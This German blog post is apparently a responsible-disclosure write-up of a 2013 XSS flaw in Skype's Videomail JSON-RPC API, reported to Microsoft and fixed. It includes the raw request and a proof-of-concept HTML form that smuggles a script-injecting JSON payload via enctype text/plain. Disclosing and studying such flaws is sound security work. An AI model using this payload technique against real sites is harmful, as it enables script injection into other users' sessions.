XSS in Skypes Videomail API

Vor circa einem Jahr entdeckten wir eine kleine XSS Lücke in Skypes Videomail API - durch die wir einen Eintrag in der Hall of Fame von Microsoft bekommen haben.

Sebastian war zu der Zeit des Fundes (Mitte 2013) bei Tim zu Besuch, um mal wieder eine nette gemeinsame Hacking-Runde durchzuführen und sich einander etwas beizubringen. Tim wollte ein neues Skype Feature auszuprobieren: Videomail , also sendete er Sebastian eine Videonachricht.

Die Nachricht enthielt einen Link zu einer Website mit PIN. Die Website nutzte diesen Pin in einem AJAX-Request zum Host vm.skype.com, wobei die Parameter im JSON Format übertragen wurden. Die Antwort kam in JSON formatiert zurück und hatte zunächst den korrekten Content-Type: application/javascript.

Nach Veränderung des method Parameters gab der Server trotzdem eine text/html Antwort im JSON Format zurück, welche mitteilte, dass die Methode nicht gefunden wurde.

Der Request sah wie folgt aus:

1
2
3
4
5

POST /api/jsonrpc HTTP/1.1
Host: vm.skype.com
Content-Length: 157
Content-Type: text/plain
{"method":"skype.videomail.get_with_pin","params":["xxx","yyy","zzz"]}

Um das Proof of Concept (PoC) zu erstellen, nutzten wir einen kleinen Trick, denn die Parameter müssen im JSON Format übertragen werden:

1
2
3

<form action="https://vm.skype.com/api/jsonrpc" id="xss" method="post" enctype="text/plain">
 <input type="text" name="{"foo":"" value="bar","method":"skype.videomail.get_with_pin<script>alert(document.domain)</script>","params":["xxx","yyy","zzz"]}">
</form>

Wir fügten ein neues Wertepaar ein, indem wir das “name”-Attribut des Input-Elements auf {"foo":" setzten und das “value”-Attribute enthielt dann den Rest des JSON Strings. Man sollte aber nicht vergessen, das enctype-Attribute des Formulars auf zu text/plain zu stellen.

Das Endergebnis war:

1

{"foo":"=bar","method":"skype.videomail.get_with_pin<script>alert(document.domain)</script>","params":["xxx","yyy","zzz"]}

Screenshots:

Request und Antwort an der verwundbaren Endstelle Ausführung von(document.domain)

Timeline:

  • 09.08.2013 - Erste Meldung (Initial report)
  • 09.08.2013 - Ticket-Erstellung
  • 19.08.2013 - Unbestätigter Fix durch den Betreiber
  • 25.09.2013 - Betreiber fragt nach, ob die Lücke tatsächlich geschlossen ist - sie ist es.

Wir danken dem Microsoft Support Team für die nette Kommunikation und freuen uns sehr, dass Microsoft inzwischen ein offizielles Bug Bounty Programm für ausgewählte Programme betreibt.

Das Team der internetwache.org